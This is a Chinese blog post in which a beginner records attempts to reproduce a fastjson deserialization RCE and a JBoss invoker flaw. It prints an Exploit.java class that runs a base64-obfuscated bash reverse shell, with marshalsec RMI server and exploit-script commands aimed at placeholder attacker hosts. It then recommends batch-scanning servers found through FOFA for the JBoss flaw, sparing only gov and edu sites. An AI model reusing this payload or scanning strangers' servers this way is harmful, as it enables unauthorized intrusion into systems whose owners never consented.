当前位置:首页 > 技术知识 > 正文内容

记录程序第一天挖漏洞的过程(挖漏洞需要学什么语言)

maynowei10个月前 (08-02)技术知识203

第一个漏洞复现fastjson漏洞

说明:

在本地这个fastjson会出现问题

复现的过程

生成一个java文件进行攻击注入的方式

javac Exploit.java

但是必须编译成.class文件才能执行

public class Exploit {
    static {
        try {
            String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}";
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {}
    }
}

代码主要就是shell反弹的方式

启动http服务器将文件上传到服务器中进行访问

如果成功访问到.class文件说明成功了

python3 -m http.server --bind 0.0.0.0 8888

打开rmi服务

我不知道这个服务的作用是什么

但是问题总是出现在这个服务互上

"http://x.x.x.x:8888/ 这个对应的攻击主机的地址

9999 是 rmi 端口号

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x:8888/#Exploit" 9999

组合命令的方式rmi/ladp的方式

java -cp fastjson_tool.jar fastjson.HRMIServer 127.0.0.1 9999 "touch /tmp/233"

最后一个就是发送的方式

http://1.1.1.1:8080/ 攻击主机的地址


rmi://2.2.2.2:9999/Exploit rmi 具体服务的地址信息

python3 fastjson-1.2.47_rce.py http://1.1.1.1:8080/ rmi://2.2.2.2:9999/Exploit

但是最后没有成功复现出结果

最后出现问题在我的服务器上面

说没有发送post指令

但是服务器本来没有post请求功能

我在java本地执行window弹出计算机的方式

访问get请求结果真的有计算机进行弹出的方式

搞了挺久还是没有做出来的方式

但是就是没有成功


jboss漏洞复现的方式

这个漏洞验证的方式比较简单一点

http:/ip+端口/invoker/readonly

直接使用这个进行访问

如果出现500错误

证明存在这个错误信息

如果没有我们进行下一个扫描的方式

如果找到大量可以扫描地址

但是需要记住千万不能扫描 gov edu 这个网址

fqfa网络空间查询

我们可以这里查询可以扫描的服务器信息

进行一个扫描的方式

使用burtsuite进行一个批量的查询的方式

但是导出的fqfa把端口和ip分开了我们需要使用notpad++进行组合

然后进行一个暴力扫描的方式

查看网站是否存在这个样的漏洞信息

扫描出来的结果还是比较少的方式

总结

学习网络安全

最主要还是学习思路

如何扫描一个网站,出现什么情况,证明这个网站可以被扫描,出现什么现象我们有机会

这个很重要,如果什么都没有出现,这个网站很难拿下

为什么想学习网络安全

因为安全学习的好

可以参加护网行动

也可以证明自己的技术

相关文章

产品经理的术与器:从想法到产品原型

工欲善其事,必先利其器。从idea,到product,中间的可谓要经历几番曲折, 产品定位确定决定产品的生死,产品功能需求的确定决定着开发的周期和试错的成本,互联网拼的就是快,所以要做 MVP(最小化...

有了这份900多页的Android面试指南,你离大厂Offer还远吗?

前言对于大部分程序员来说,一线互联网是的工作经历是毕生的追求,实际上大厂对于学历的要求远远没有我们想象的那么高,近几年来,互联网公司更注重技术,所以提升自身技术水平才是斩获offer的制胜关键。一线互...

Android指示器,轮播与循环轮播(android轮播图代码)

Android UI Libs之CircleIndicator1. 说明CircleIndicator,顾名思义,圆形指示器,只一个可以用来做轮播的第三方库。2. 配置在模块的build.gradle...

一文弄懂 GO 的 互斥锁 Mutex !(互斥锁的使用方法)

在 Go 语言并发编程中,互斥锁(Mutex)是一个非常重要的同步原语。本文将深入介绍 Mutex 的使用方法、实现原理以及最佳实践。1. 什么是 Mutex?Mutex(互斥锁)是一种用于多线程编程...

掌握C语言多线程:高效并发编程指南

一、多线程基础概念介绍多线程编程是现代软件开发中提高程序性能和响应性的重要技术。在C语言中,pthread(POSIX Threads)库是实现多线程编程的标准工具。本节将通俗易懂地介绍多线程的核心概...

不需安装oracleclient连接oracle数据库方案

在Oracle官方发布ODP.net之前,我们通常使用微软的System.data.OracleClient进行Oracle数据库操作,它的缺点是必须要装Oracle客户端OracleClient,如...